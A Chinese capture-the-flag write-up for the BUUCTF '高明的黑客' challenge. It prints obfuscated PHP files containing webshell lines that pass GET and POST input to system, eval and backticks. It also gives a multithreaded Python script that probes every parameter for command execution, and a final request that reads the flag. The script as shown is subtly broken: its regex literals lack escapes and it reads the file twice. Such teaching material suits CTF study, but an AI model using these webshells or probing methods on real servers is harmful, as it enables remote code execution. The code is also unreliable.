BUUCTF(30)

80 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[强网杯 2019]高明的黑客

告诉我们源码,访问一下,下载后发现了3000多条php文件,内容类似于

<?php
$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');
$_GET['tz2aE_IWb'] = ' ';
echo `{$_GET['tz2aE_IWb']}`;
$_GET['cXjHClMPs'] = ' ';
echo `{$_GET['cXjHClMPs']}`;


function ZwXq7h4()
{
    $kg = 'eTgcwk';
    $tWpHGUieX = 'BL02r6';
    $eGPiYwW9IX3 = 'd0agCqWE';
    $YRGLSyUMNnN = new stdClass();
    $YRGLSyUMNnN->IfsR = 'tpt7Y_H';
    $YRGLSyUMNnN->aLX6ZxLYjJ = 'QlHS60c';
    $kg = $_POST['i84HFoocE21gs'] ?? ' ';
    $tWpHGUieX = explode('Q7iPB9MuttH', $tWpHGUieX);
    if('cg6BNgitU' == 'RGcyY1oQX')
    system($_GET['cg6BNgitU'] ?? ' ');
    $_GET['ganVMUq3d'] = ' ';
    eval($_GET['ganVMUq3d'] ?? ' ');
    
}

非常的乱但是可以看到里面有一些没有啥用的shell

接下来思路就是用脚本遍历文件寻找可利用的shell

找了一个差不多改改就可用的脚本,我们修改一下

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                               #这儿设置最大的线程数
filePath = r"D:\phpstudy_pro\WWW\src"
os.chdir(filePath)                                     #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                       #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                   #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('$_GET['(.*?)']', f.read()))
            posts = list(re.findall('$_POST['(.*?)']', f.read()))
    data = {}                                         #所有的$_POST
    params = {}                                           #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)        #一次性请求所有的GET和POST
    req.close()                                     # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                            #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                     # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                     # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                      #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()
for i in files:                                              #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

结果

找到了利用文件: xk0SzyKwfzw.php  and 找到了利用的参数:Efa5BVG
结束时间:  Wed Feb  9 21:04:42 2022

直接利用即可,

http://163fff16-e835-48af-9efe-7a0b654c2da1.node4.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

题目整体说思路很简单,找到可利用的shell,难的是如何写出这个脚本